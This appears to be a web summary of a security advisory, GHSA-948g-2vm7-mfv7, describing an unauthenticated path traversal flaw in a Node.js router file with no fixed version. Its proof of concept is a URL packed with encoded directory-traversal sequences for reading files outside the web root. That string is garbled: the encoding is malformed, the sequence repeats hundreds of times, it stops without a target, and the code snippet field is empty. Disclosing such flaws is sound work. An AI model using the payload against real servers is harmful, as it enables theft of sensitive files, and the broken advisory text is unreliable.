GHSA-948g-2vm7-mfv7: Path Traversal Vulnerability Allows Unauthenticated Data Read

From this webpage screenshot, the following key vulnerability information can be obtained: 1. Vulnerability Description: - Title: Path Traversal (unauthenticated user can read sensitive data) - Severity: High - Publisher: salahlalami - Published Time: 2 days ago - Vulnerability ID: GHSA-948g-2vm7-mfv7 - Description: A path traversal vulnerability has been discovered, allowing unauthorized users to read sensitive data. - Affected Versions: <2.1.0 - Fixed Versions: None 2. Code Example: - File: corePublicRouter.js - Line: 43 - Code Snippet: 3. Exploitation: - PoC: - Deploy the application using Docker - Access URL: `http://localhost:8888/public/%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e%2e%2f%e

Goal Reached Thanks to every supporter — we hit 100%!

GHSA-948g-2vm7-mfv7: Path Traversal Vulnerability Allows Unauthenticated Data Read

More from this source